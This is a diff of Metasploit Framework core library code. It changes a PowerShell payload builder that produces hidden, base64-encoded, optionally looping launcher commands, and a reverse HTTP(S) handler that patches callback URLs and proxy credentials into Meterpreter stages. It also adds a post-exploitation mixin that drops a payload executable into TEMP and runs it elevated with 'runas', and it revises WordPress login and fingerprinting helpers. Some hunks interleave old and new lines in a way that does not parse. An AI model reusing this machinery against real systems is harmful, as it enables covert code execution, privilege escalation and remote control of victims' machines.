|
||||
# @param opts [Hash] The options to generate the command
|
||||
# @option opts [Boolean] :persist Loop the payload to cause
|
||||
# re-execution if the shellcode finishes
|
||||
# @option opts [Integer] :prepend_sleep Sleep for the specified time
|
||||
# before executing the payload
|
||||
# @option opts [String] :method The powershell injection technique to
|
||||
# use: 'net'/'reflection'/'old'
|
||||
# @option opts [Boolean] :encode_inner_payload Encodes the powershell
|
||||
# script within the hidden/architecture detection wrapper
|
||||
# @option opts [Boolean] :encode_final_payload Encodes the final
|
||||
# powershell script
|
||||
# @option opts [Boolean] :remove_comspec Removes the %COMSPEC%
|
||||
# environment variable at the start of the command line
|
||||
# @option opts [Boolean] :use_single_quotes Wraps the -Command
|
||||
# argument in single quotes unless :encode_final_payload
|
||||
#
|
||||
# @return [String] Powershell command line with payload
|
||||
def cmd_psh_payload(pay, payload_arch, opts = {})
|
||||
opts[:persist] ||= datastore['Powershell::persist']
|
||||
opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep']
|
||||
opts[:method] ||= datastore['Powershell::method']
|
||||
|
||||
if opts[:encode_inner_payload] && opts[:encode_final_payload]
|
||||
fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options'
|
||||
end
|
||||
|
||||
if opts[:no_equals] && !opts[:encode_final_payload]
|
||||
fail RuntimeError, ':no_equals requires :encode_final_payload option to be used'
|
||||
end
|
||||
|
||||
psh_payload = case opts[:method]
|
||||
when 'net'
|
||||
Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
|
||||
when 'reflection'
|
||||
Msf::Util::EXE.to_win32pe_psh_reflection(framework, pay)
|
||||
when 'old'
|
||||
Msf::Util::EXE.to_win32pe_psh(framework, pay)
|
||||
when 'msil'
|
||||
fail RuntimeError, 'MSIL Powershell method no longer exists'
|
||||
else
|
||||
fail RuntimeError, 'No Powershell method specified'
|
||||
end
|
||||
|
||||
# Run our payload in a while loop
|
||||
if datastore['PERSIST']
|
||||
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
|
||||
sleep_time = rand(5)+5
|
||||
if opts[:persist]
|
||||
fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
|
||||
sleep_time = rand(5) + 5
|
||||
vprint_status("Sleep time set to #{sleep_time} seconds")
|
||||
psh_payload = "function #{fun_name}{#{psh_payload}};"
|
||||
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
|
||||
end
|
||||
# Determine appropriate architecture
|
||||
ps_bin = wow64 ? '$env:windir+\'\syswow64\WindowsPowerShell\v1.0\powershell.exe\'' : '\'powershell.exe\''
|
||||
# Wrap in hidden runtime
|
||||
psh_payload = run_hidden_psh(psh_payload,ps_bin)
|
||||
# Convert to base64 for -encodedcommand execution
|
||||
command = "%COMSPEC% /B /C start powershell.exe -Command #{psh_payload.gsub("\n",';').gsub('"','\"')}\r\n"
|
||||
end
|
||||
|
||||
#
|
||||
# Convert binary to byte array, read from file if able
|
||||
#
|
||||
def build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
|
||||
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
|
||||
code = code.unpack('C*')
|
||||
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
|
||||
lines = []
|
||||
1.upto(code.length-1) do |byte|
|
||||
if(byte % 10 == 0)
|
||||
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
|
||||
if opts[:prepend_sleep]
|
||||
if opts[:prepend_sleep].to_i > 0
|
||||
psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload
|
||||
else
|
||||
lines.push ",0x#{code[byte].to_s(16)}"
|
||||
vprint_error('Sleep time must be greater than 0 seconds')
|
||||
end
|
||||
end
|
||||
psh << lines.join("") + "\r\n"
|
||||
|
||||
compressed_payload = compress_script(psh_payload)
|
||||
encoded_payload = encode_script(psh_payload)
|
||||
|
||||
# This branch is probably never taken...
|
||||
if encoded_payload.length <= compressed_payload.length
|
||||
smallest_payload = encoded_payload
|
||||
encoded = true
|
||||
else
|
||||
if opts[:encode_inner_payload]
|
||||
encoded = true
|
||||
compressed_encoded_payload = encode_script(compressed_payload)
|
||||
|
||||
if encoded_payload.length <= compressed_encoded_payload.length
|
||||
smallest_payload = encoded_payload
|
||||
else
|
||||
smallest_payload = compressed_encoded_payload
|
||||
end
|
||||
else
|
||||
smallest_payload = compressed_payload
|
||||
encoded = false
|
||||
end
|
||||
end
|
||||
|
||||
# Wrap in hidden runtime / architecture detection
|
||||
final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded)
|
||||
|
||||
command_args = {
|
||||
noprofile: true,
|
||||
windowstyle: 'hidden'
|
||||
}.merge(opts)
|
||||
|
||||
if opts[:encode_final_payload]
|
||||
command_args[:encodedcommand] = encode_script(final_payload)
|
||||
|
||||
# If '=' is a bad character pad the payload until Base64 encoded
|
||||
# payload contains none.
|
||||
if opts[:no_equals]
|
||||
while command_args[:encodedcommand].include? '='
|
||||
final_payload << ' '
|
||||
command_args[:encodedcommand] = encode_script(final_payload)
|
||||
end
|
||||
end
|
||||
else
|
||||
if opts[:use_single_quotes]
|
||||
# Escape Single Quotes
|
||||
final_payload.gsub!("'", "''")
|
||||
# Wrap command in quotes
|
||||
final_payload = "'#{final_payload}'"
|
||||
end
|
||||
|
||||
command_args[:command] = final_payload
|
||||
end
|
||||
|
||||
psh_command = generate_psh_command_line(command_args)
|
||||
|
||||
if opts[:remove_comspec]
|
||||
command = psh_command
|
||||
else
|
||||
command = "%COMSPEC% /b /c start /b /min #{psh_command}"
|
||||
end
|
||||
|
||||
vprint_status("Powershell command length: #{command.length}")
|
||||
if command.length > 8191
|
||||
fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)'
|
||||
end
|
||||
|
||||
command
|
||||
end
|
||||
|
||||
|
||||
|
||||
#
|
||||
# Useful method cache
|
||||
#
|
||||
module PshMethods
|
||||
include Rex::Exploitation::Powershell::PshMethods
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -31,27 +31,6 @@ module ReverseHttp
|
|||
"tunnel"
|
||||
end
|
||||
|
||||
#
|
||||
# Use the +refname+ to determine whether this handler uses SSL or not
|
||||
#
|
||||
def ssl?
|
||||
!!(self.refname.index("https"))
|
||||
end
|
||||
|
||||
#
|
||||
# Return a URI of the form scheme://host:port/
|
||||
#
|
||||
# Scheme is one of http or https and host is properly wrapped in [] for ipv6
|
||||
# addresses.
|
||||
#
|
||||
def full_uri
|
||||
local_port = bind_port
|
||||
scheme = (ssl?) ? "https" : "http"
|
||||
"#{scheme}://#{datastore['LHOST']}:#{datastore['LPORT']}/"
|
||||
end
|
||||
|
||||
|
||||
|
||||
#
|
||||
# Initializes the HTTP SSL tunneling handler.
|
||||
#
|
||||
|
@ -77,14 +56,64 @@ module ReverseHttp
|
|||
], Msf::Handler::ReverseHttp)
|
||||
end
|
||||
|
||||
#
|
||||
# Toggle for IPv4 vs IPv6 mode
|
||||
#
|
||||
def ipv6
|
||||
self.refname.index('ipv6') ? true : false
|
||||
def ipv6?
|
||||
Rex::Socket.is_ipv6?(datastore['LHOST'])
|
||||
end
|
||||
|
||||
# Determine where to bind the server
|
||||
#
|
||||
# @return [String]
|
||||
def listener_address
|
||||
if datastore['ReverseListenerBindAddress'].to_s.empty?
|
||||
bindaddr = (ipv6?) ? '::' : '0.0.0.0'
|
||||
else
|
||||
bindaddr = datastore['ReverseListenerBindAddress']
|
||||
end
|
||||
|
||||
bindaddr
|
||||
end
|
||||
|
||||
# @return [String] A URI of the form +scheme://host:port/+
|
||||
def listener_uri
|
||||
if ipv6?
|
||||
listen_host = "[#{listener_address}]"
|
||||
else
|
||||
listen_host = listener_address
|
||||
end
|
||||
"#{scheme}://#{listen_host}:#{datastore['LPORT']}/"
|
||||
end
|
||||
|
||||
# Return a URI suitable for placing in a payload.
|
||||
#
|
||||
# Host will be properly wrapped in square brackets, +[]+, for ipv6
|
||||
# addresses.
|
||||
#
|
||||
# @return [String] A URI of the form +scheme://host:port/+
|
||||
def payload_uri
|
||||
if ipv6?
|
||||
callback_host = "[#{datastore['LHOST']}]"
|
||||
else
|
||||
callback_host = datastore['LHOST']
|
||||
end
|
||||
"#{scheme}://#{callback_host}:#{datastore['LPORT']}/"
|
||||
end
|
||||
|
||||
# Use the {#refname} to determine whether this handler uses SSL or not
|
||||
#
|
||||
def ssl?
|
||||
!!(self.refname.index("https"))
|
||||
end
|
||||
|
||||
# URI scheme
|
||||
#
|
||||
# @return [String] One of "http" or "https" depending on whether we
|
||||
# are using SSL
|
||||
def scheme
|
||||
(ssl?) ? "https" : "http"
|
||||
end
|
||||
|
||||
# Create an HTTP listener
|
||||
#
|
||||
def setup_handler
|
||||
|
@ -98,17 +127,11 @@ module ReverseHttp
|
|||
|
||||
local_port = bind_port
|
||||
|
||||
# Determine where to bind the HTTP(S) server to
|
||||
bindaddrs = ipv6 ? '::' : '0.0.0.0'
|
||||
|
||||
if not datastore['ReverseListenerBindAddress'].to_s.empty?
|
||||
bindaddrs = datastore['ReverseListenerBindAddress']
|
||||
end
|
||||
|
||||
# Start the HTTPS server service on this host/port
|
||||
self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
|
||||
local_port,
|
||||
bindaddrs,
|
||||
listener_address,
|
||||
ssl?,
|
||||
{
|
||||
'Msf' => framework,
|
||||
|
@ -130,9 +153,7 @@ module ReverseHttp
|
|||
},
|
||||
'VirtualDirectory' => true)
|
||||
|
||||
scheme = (ssl?) ? "https" : "http"
|
||||
bind_url = "#{scheme}://#{bindaddrs}:#{local_port}/"
|
||||
print_status("Started #{scheme.upcase} reverse handler on #{bind_url}")
|
||||
print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}")
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -165,7 +186,6 @@ protected
|
|||
# Parses the HTTPS request
|
||||
#
|
||||
def on_request(cli, req, obj)
|
||||
sid = nil
|
||||
resp = Rex::Proto::Http::Response.new
|
||||
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} Request received for #{req.relative_resource}...")
|
||||
|
@ -176,7 +196,7 @@ protected
|
|||
case uri_match
|
||||
when /^\/INITJM/
|
||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
url = full_uri + conn_id + "/\x00"
|
||||
url = payload_uri + conn_id + "/\x00"
|
||||
|
||||
blob = ""
|
||||
blob << obj.generate_stage
|
||||
|
@ -239,10 +259,10 @@ protected
|
|||
blob[i, proxyinfo.length] = proxyinfo
|
||||
print_status("Activated custom proxy #{proxyinfo}, patch at offset #{i}...")
|
||||
#Optional authentification
|
||||
unless (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or
|
||||
unless (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or
|
||||
(datastore['PROXY_PASSWORD'].nil? or datastore['PROXY_PASSWORD'].empty?) or
|
||||
datastore['PROXY_TYPE'] == 'SOCKS'
|
||||
|
||||
|
||||
proxy_username_loc = blob.index("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
|
||||
proxy_username = datastore['PROXY_USERNAME'] << "\x00"
|
||||
blob[proxy_username_loc, proxy_username.length] = proxy_username
|
||||
|
@ -266,7 +286,7 @@ protected
|
|||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
i = blob.index("https://" + ("X" * 256))
|
||||
if i
|
||||
url = full_uri + conn_id + "/\x00"
|
||||
url = payload_uri + conn_id + "/\x00"
|
||||
blob[i, url.length] = url
|
||||
end
|
||||
print_status("Patched URL at offset #{i}...")
|
||||
|
@ -308,7 +328,7 @@ protected
|
|||
create_session(cli, {
|
||||
:passive_dispatcher => obj.service,
|
||||
:conn_id => conn_id,
|
||||
:url => full_uri + conn_id + "/\x00",
|
||||
:url => payload_uri + conn_id + "/\x00",
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:ssl => ssl?,
|
||||
|
|
|
@ -45,6 +45,7 @@ module Msf
|
|||
|
||||
# Map "random" URIs to static strings, allowing us to randomize
|
||||
# the URI sent in the first request.
|
||||
#
|
||||
# @param uri_match [String] The URI string to convert back to the original static value
|
||||
# @return [String] The static URI value derived from the checksum
|
||||
def process_uri_resource(uri_match)
|
||||
|
@ -69,6 +70,7 @@ module Msf
|
|||
end
|
||||
|
||||
# Create a URI that matches a given checksum
|
||||
#
|
||||
# @param sum [Fixnum] The checksum value you are trying to create a URI for
|
||||
# @return [String] The URI string that checksums to the given value
|
||||
def generate_uri_checksum(sum)
|
||||
|
|
|
@ -1,34 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core/handler/reverse_http'
|
||||
|
||||
module Msf
|
||||
module Handler
|
||||
|
||||
###
|
||||
#
|
||||
# This handler implements the HTTP tunneling interface.
|
||||
#
|
||||
###
|
||||
module ReverseIPv6Http
|
||||
|
||||
include Msf::Handler::ReverseHttp
|
||||
|
||||
#
|
||||
# Override the handler_type to indicate IPv6 mode
|
||||
#
|
||||
def self.handler_type
|
||||
return "reverse_ipv6_http"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the connection-described general handler type, in this case
|
||||
# 'tunnel'.
|
||||
#
|
||||
def self.general_handler_type
|
||||
"tunnel"
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -1,35 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core/handler/reverse_http'
|
||||
require 'msf/core/handler/reverse_https'
|
||||
|
||||
module Msf
|
||||
module Handler
|
||||
|
||||
###
|
||||
#
|
||||
# This handler implements the HTTP SSL tunneling interface.
|
||||
#
|
||||
###
|
||||
module ReverseIPv6Https
|
||||
|
||||
include Msf::Handler::ReverseHttps
|
||||
|
||||
#
|
||||
# Override the handler_type to indicate IPv6 mode
|
||||
#
|
||||
def self.handler_type
|
||||
return "reverse_ipv6_https"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the connection-described general handler type, in this case
|
||||
# 'tunnel'.
|
||||
#
|
||||
def self.general_handler_type
|
||||
"tunnel"
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -18,7 +18,7 @@ class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base
|
|||
# Yields the module_reference_name for each module file found under the directory path.
|
||||
#
|
||||
# @param [String] path The path to the directory.
|
||||
# @param [Array] modules An array of regex patterns to search for specific modules
|
||||
# @param [Hash] opts Input Hash.
|
||||
# @yield (see Msf::Modules::Loader::Base#each_module_reference_name)
|
||||
# @yieldparam [String] path The path to the directory.
|
||||
# @yieldparam [String] type The type correlated with the directory under path.
|
||||
|
|
|
@ -11,8 +11,10 @@ module Msf::Post::Windows
|
|||
require 'msf/core/post/windows/process'
|
||||
require 'msf/core/post/windows/railgun'
|
||||
require 'msf/core/post/windows/registry'
|
||||
require 'msf/core/post/windows/runas'
|
||||
require 'msf/core/post/windows/services'
|
||||
require 'msf/core/post/windows/wmic'
|
||||
require 'msf/core/post/windows/netapi'
|
||||
require 'msf/core/post/windows/shadowcopy'
|
||||
require 'msf/core/post/windows/user_profiles'
|
||||
require 'msf/core/post/windows/ldap'
|
||||
|
|
|
@ -270,7 +270,7 @@ module Accounts
|
|||
|
||||
#define generic mapping structure
|
||||
gen_map = [0,0,0,0]
|
||||
gen_map = gen_map.pack("L")
|
||||
gen_map = gen_map.pack("V")
|
||||
buffer_size = 500
|
||||
|
||||
#get Security Descriptor for the directory
|
||||
|
|
|
@ -2527,5 +2527,5 @@ module Msf::Post::Windows::Error
|
|||
SYSTEM_DEVICE_NOT_FOUND = 0x3BC3
|
||||
HASH_NOT_SUPPORTED = 0x3BC4
|
||||
HASH_NOT_PRESENT = 0x3BC5
|
||||
|
||||
INVALID_HANDLE_VALUE = 0xffffffff
|
||||
end
|
||||
|
|
|
@ -248,7 +248,7 @@ module LDAP
|
|||
# @param pEntry [Fixnum] Pointer to the Entry
|
||||
# @return [Array] Entry data structure
|
||||
def get_entry(pEntry)
|
||||
return client.railgun.memread(pEntry,41).unpack('LLLLLLLLLSCCC')
|
||||
return client.railgun.memread(pEntry,41).unpack('VVVVVVVVVvCCC')
|
||||
end
|
||||
|
||||
# Get BER Element data structure from LDAPMessage
|
||||
|
@ -256,7 +256,7 @@ module LDAP
|
|||
# @param msg [String] The LDAP Message from the server
|
||||
# @return [String] The BER data structure
|
||||
def get_ber(msg)
|
||||
ber = client.railgun.memread(msg[2],60).unpack('L*')
|
||||
ber = client.railgun.memread(msg[2],60).unpack('V*')
|
||||
|
||||
# BER Pointer is different between x86 and x64
|
||||
if client.platform =~ /x64/
|
||||
|
|
|
@ -68,6 +68,11 @@ module NetAPI
|
|||
base = 0
|
||||
struct_size = 8
|
||||
hosts = []
|
||||
|
||||
if count == 0
|
||||
return hosts
|
||||
end
|
||||
|
||||
mem = client.railgun.memread(start_ptr, struct_size*count)
|
||||
|
||||
count.times do
|
||||
|
|
|
@ -0,0 +1,38 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/exploit/powershell'
|
||||
require 'msf/core/exploit/exe'
|
||||
|
||||
module Msf::Post::Windows::Runas
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::Powershell
|
||||
|
||||
def execute_exe(filename = nil, path = nil, upload = nil)
|
||||
payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
|
||||
payload_path = path || get_env('TEMP')
|
||||
cmd_location = "#{payload_path}\\#{payload_filename}"
|
||||
|
||||
if upload
|
||||
exe_payload = generate_payload_exe
|
||||
print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
|
||||
write_file(cmd_location, exe_payload)
|
||||
else
|
||||
print_status("No file uploaded, attempting to execute #{cmd_location}...")
|
||||
end
|
||||
|
||||
shell_exec(cmd_location, nil)
|
||||
end
|
||||
|
||||
def execute_psh
|
||||
powershell_command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
|
||||
command = 'cmd.exe'
|
||||
args = "/c #{powershell_command}"
|
||||
shell_exec(command, args)
|
||||
end
|
||||
|
||||
def shell_exec(command, args)
|
||||
print_status('Executing elevated command...')
|
||||
session.railgun.shell32.ShellExecuteA(nil, 'runas', command, args, nil, 'SW_SHOW')
|
||||
end
|
||||
end
|
|
@ -334,7 +334,7 @@ module Services
|
|||
raise RuntimeError.new("Could not query service. QueryServiceStatus error: #{handle["GetLastError"]}")
|
||||
end
|
||||
|
||||
vals = status['lpServiceStatus'].unpack('L*')
|
||||
vals = status['lpServiceStatus'].unpack('V*')
|
||||
adv.CloseServiceHandle(handle["return"])
|
||||
|
||||
ret = {
|
||||
|
|
|
@ -18,8 +18,20 @@ module Msf::HTTP::Typo3::Login
|
|||
return nil
|
||||
end
|
||||
|
||||
e = res_main.body.match(/<input type="hidden" id="rsa_e" name="e" value="(\d+)" \/>/)[1]
|
||||
n = res_main.body.match(/<input type="hidden" id="rsa_n" name="n" value="(\w+)" \/>/)[1]
|
||||
e_match = res_main.body.match(/<input type="hidden" id="rsa_e" name="e" value="(\d+)" \/>/)
|
||||
if e_match.nil?
|
||||
vprint_error('Can not find rsa_e value')
|
||||
return nil
|
||||
end
|
||||
e = e_match[1]
|
||||
|
||||
n_match = res_main.body.match(/<input type="hidden" id="rsa_n" name="n" value="(\w+)" \/>/)
|
||||
if n_match.nil?
|
||||
vprint_error('Can not find rsa_n value')
|
||||
return nil
|
||||
end
|
||||
n = n_match[1]
|
||||
|
||||
vprint_debug("e: #{e}")
|
||||
vprint_debug("n: #{n}")
|
||||
rsa_enc = typo3_helper_login_rsa(e, n, pass)
|
||||
|
|
|
@ -25,10 +25,20 @@ module Msf
|
|||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
Msf::OptString.new('TARGETURI', [true, 'The base path to the wordpress application', '/']),
|
||||
], HTTP::Wordpress
|
||||
[
|
||||
Msf::OptString.new('TARGETURI', [true, 'The base path to the wordpress application', '/'])
|
||||
], HTTP::Wordpress
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
Msf::OptString.new('WPCONTENTDIR', [true, 'The name of the wp-content directory', 'wp-content'])
|
||||
], HTTP::Wordpress
|
||||
)
|
||||
end
|
||||
|
||||
def wp_content_dir
|
||||
datastore['WPCONTENTDIR']
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,28 +1,23 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::HTTP::Wordpress::Base
|
||||
|
||||
# Checks if the site is online and running wordpress
|
||||
#
|
||||
# @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running wordpress, nil otherwise
|
||||
def wordpress_and_online?
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path)
|
||||
})
|
||||
return res if res and
|
||||
res.code == 200 and
|
||||
(
|
||||
res.body =~ /["'][^"']*\/wp-content\/[^"']*["']/i or
|
||||
res.body =~ /<link rel=["']wlwmanifest["'].*href=["'].*\/wp-includes\/wlwmanifest\.xml["'] \/>/i or
|
||||
res.body =~ /<link rel=["']pingback["'].*href=["'].*\/xmlrpc\.php["'] \/>/i
|
||||
)
|
||||
return nil
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
print_error("#{peer} - Error connecting to #{target_uri}")
|
||||
return nil
|
||||
end
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path)
|
||||
)
|
||||
wordpress_detect_regexes = [
|
||||
/["'][^"']*\/#{Regexp.escape(wp_content_dir)}\/[^"']*["']/i,
|
||||
/<link rel=["']wlwmanifest["'].*href=["'].*\/wp-includes\/wlwmanifest\.xml["'] \/>/i,
|
||||
/<link rel=["']pingback["'].*href=["'].*\/xmlrpc\.php["'](?: \/)*>/i
|
||||
]
|
||||
return res if res && res.code == 200 && res.body && wordpress_detect_regexes.any? { |r| res.body =~ r }
|
||||
return nil
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
|
||||
print_error("#{peer} - Error connecting to #{target_uri}: #{e}")
|
||||
return nil
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -49,7 +49,7 @@ module Msf::HTTP::Wordpress::Helpers
|
|||
options.merge!({'vars_post' => vars_post})
|
||||
options.merge!({'cookie' => login_cookie}) if login_cookie
|
||||
res = send_request_cgi(options)
|
||||
if res and (res.code == 301 or res.code == 302) and res.headers['Location']
|
||||
if res && res.redirect? && res.redirection
|
||||
return wordpress_helper_parse_location_header(res)
|
||||
else
|
||||
message = "#{peer} - Post comment failed."
|
||||
|
@ -101,7 +101,7 @@ module Msf::HTTP::Wordpress::Helpers
|
|||
else
|
||||
return res.body
|
||||
end
|
||||
elsif res and (res.code == 301 or res.code == 302) and res.headers['Location']
|
||||
elsif res && res.redirect? && res.redirection
|
||||
path = wordpress_helper_parse_location_header(res)
|
||||
return wordpress_helper_check_post_id(path, comments_enabled, login_cookie)
|
||||
end
|
||||
|
@ -113,9 +113,9 @@ module Msf::HTTP::Wordpress::Helpers
|
|||
# @param res [Rex::Proto::Http::Response] The HTTP response
|
||||
# @return [String,nil] the path and query, nil on error
|
||||
def wordpress_helper_parse_location_header(res)
|
||||
return nil unless res and (res.code == 301 or res.code == 302) and res.headers['Location']
|
||||
return nil unless res && res.redirect? && res.redirection
|
||||
|
||||
location = res.headers['Location']
|
||||
location = res.redirection
|
||||
path_from_uri(location)
|
||||
end
|
||||
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# -*- coding: binary -*-
|
||||
module Msf::HTTP::Wordpress::Login
|
||||
|
||||
module Msf::HTTP::Wordpress::Login
|
||||
# performs a wordpress login
|
||||
#
|
||||
# @param user [String] Username
|
||||
|
@ -8,21 +8,23 @@ module Msf::HTTP::Wordpress::Login
|
|||
# @return [String,nil] the session cookies as a single string on successful login, nil otherwise
|
||||
def wordpress_login(user, pass)
|
||||
redirect = "#{target_uri}#{Rex::Text.rand_text_alpha(8)}"
|
||||
res = send_request_cgi({
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => wordpress_url_login,
|
||||
'vars_post' => wordpress_helper_login_post_data(user, pass, redirect)
|
||||
})
|
||||
|
||||
if res and (res.code == 301 or res.code == 302) and res.headers['Location'] == redirect
|
||||
)
|
||||
if res && res.redirect? && res.redirection && res.redirection.to_s == redirect
|
||||
cookies = res.get_cookies
|
||||
# Check if a valid wordpress cookie is returned
|
||||
return cookies if cookies =~ /wordpress(?:_sec)?_logged_in_[^=]+=[^;]+;/i ||
|
||||
return cookies if
|
||||
# current Wordpress
|
||||
cookies =~ /wordpress(?:_sec)?_logged_in_[^=]+=[^;]+;/i ||
|
||||
# Wordpress 2.0
|
||||
cookies =~ /wordpress(?:user|pass)_[^=]+=[^;]+;/i ||
|
||||
# Wordpress 2.5
|
||||
cookies =~ /wordpress_[a-z0-9]+=[^;]+;/i
|
||||
end
|
||||
|
||||
return nil
|
||||
nil
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -112,7 +112,7 @@ module Msf::HTTP::Wordpress::Posts
|
|||
count = max_redirects
|
||||
|
||||
# Follow redirects
|
||||
while (res.code == 301 || res.code == 302) and res.headers['Location'] and count != 0
|
||||
while res.redirect? && res.redirection && count != 0
|
||||
path = wordpress_helper_parse_location_header(res)
|
||||
return nil unless path
|
||||
|
||||
|
|
|
@ -80,4 +80,32 @@ module Msf::HTTP::Wordpress::URIs
|
|||
normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php')
|
||||
end
|
||||
|
||||
# Returns the Wordpress wp-content dir URL
|
||||
#
|
||||
# @return [String] Wordpress wp-content dir URL
|
||||
def wordpress_url_wp_content
|
||||
normalize_uri(target_uri.path, wp_content_dir)
|
||||
end
|
||||
|
||||
# Returns the Wordpress plugins dir URL
|
||||
#
|
||||
# @return [String] Wordpress plugins dir URL
|
||||
def wordpress_url_plugins
|
||||
normalize_uri(wordpress_url_wp_content, 'plugins')
|
||||
end
|
||||
|
||||
# Returns the Wordpress themes dir URL
|
||||
#
|
||||
# @return [String] Wordpress themes dir URL
|
||||
def wordpress_url_themes
|
||||
normalize_uri(wordpress_url_wp_content, 'themes')
|
||||
end
|
||||
|
||||
# Returns the Wordpress XMLRPC URL
|
||||
#
|
||||
# @return [String] Wordpress XMLRPC URL
|
||||
def wordpress_url_xmlrpc
|
||||
normalize_uri(target_uri.path, 'xmlrpc.php')
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -33,7 +33,7 @@ module Msf::HTTP::Wordpress::Users
|
|||
'uri' => url
|
||||
})
|
||||
|
||||
if res and res.code == 301
|
||||
if res and res.redirect?
|
||||
uri = wordpress_helper_parse_location_header(res)
|
||||
return nil unless uri
|
||||
# try to extract username from location
|
||||
|
|
|
@ -2,63 +2,124 @@
|
|||
|
||||
module Msf::HTTP::Wordpress::Version
|
||||
|
||||
# Used to check if the version is correct: must contain at least one dot
|
||||
WORDPRESS_VERSION_PATTERN = '([^\r\n"\']+\.[^\r\n"\']+)'
|
||||
|
||||
# Extracts the Wordpress version information from various sources
|
||||
#
|
||||
# @return [String,nil] Wordpress version if found, nil otherwise
|
||||
def wordpress_version
|
||||
# detect version from generator
|
||||
version = wordpress_version_helper(normalize_uri(target_uri.path), /<meta name="generator" content="WordPress #{wordpress_version_pattern}" \/>/i)
|
||||
version = wordpress_version_helper(normalize_uri(target_uri.path), /<meta name="generator" content="WordPress #{WORDPRESS_VERSION_PATTERN}" \/>/i)
|
||||
return version if version
|
||||
|
||||
# detect version from readme
|
||||
version = wordpress_version_helper(wordpress_url_readme, /<br \/>\sversion #{wordpress_version_pattern}/i)
|
||||
version = wordpress_version_helper(wordpress_url_readme, /<br \/>\sversion #{WORDPRESS_VERSION_PATTERN}/i)
|
||||
return version if version
|
||||
|
||||
# detect version from rss
|
||||
version = wordpress_version_helper(wordpress_url_rss, /<generator>http:\/\/wordpress.org\/\?v=#{wordpress_version_pattern}<\/generator>/i)
|
||||
version = wordpress_version_helper(wordpress_url_rss, /<generator>http:\/\/wordpress.org\/\?v=#{WORDPRESS_VERSION_PATTERN}<\/generator>/i)
|
||||
return version if version
|
||||
|
||||
# detect version from rdf
|
||||
version = wordpress_version_helper(wordpress_url_rdf, /<admin:generatorAgent rdf:resource="http:\/\/wordpress.org\/\?v=#{wordpress_version_pattern}" \/>/i)
|
||||
version = wordpress_version_helper(wordpress_url_rdf, /<admin:generatorAgent rdf:resource="http:\/\/wordpress.org\/\?v=#{WORDPRESS_VERSION_PATTERN}" \/>/i)
|
||||
return version if version
|
||||
|
||||
# detect version from atom
|
||||
version = wordpress_version_helper(wordpress_url_atom, /<generator uri="http:\/\/wordpress.org\/" version="#{wordpress_version_pattern}">WordPress<\/generator>/i)
|
||||
version = wordpress_version_helper(wordpress_url_atom, /<generator uri="http:\/\/wordpress.org\/" version="#{WORDPRESS_VERSION_PATTERN}">WordPress<\/generator>/i)
|
||||
return version if version
|
||||
|
||||
# detect version from sitemap
|
||||
version = wordpress_version_helper(wordpress_url_sitemap, /generator="wordpress\/#{wordpress_version_pattern}"/i)
|
||||
version = wordpress_version_helper(wordpress_url_sitemap, /generator="wordpress\/#{WORDPRESS_VERSION_PATTERN}"/i)
|
||||
return version if version
|
||||
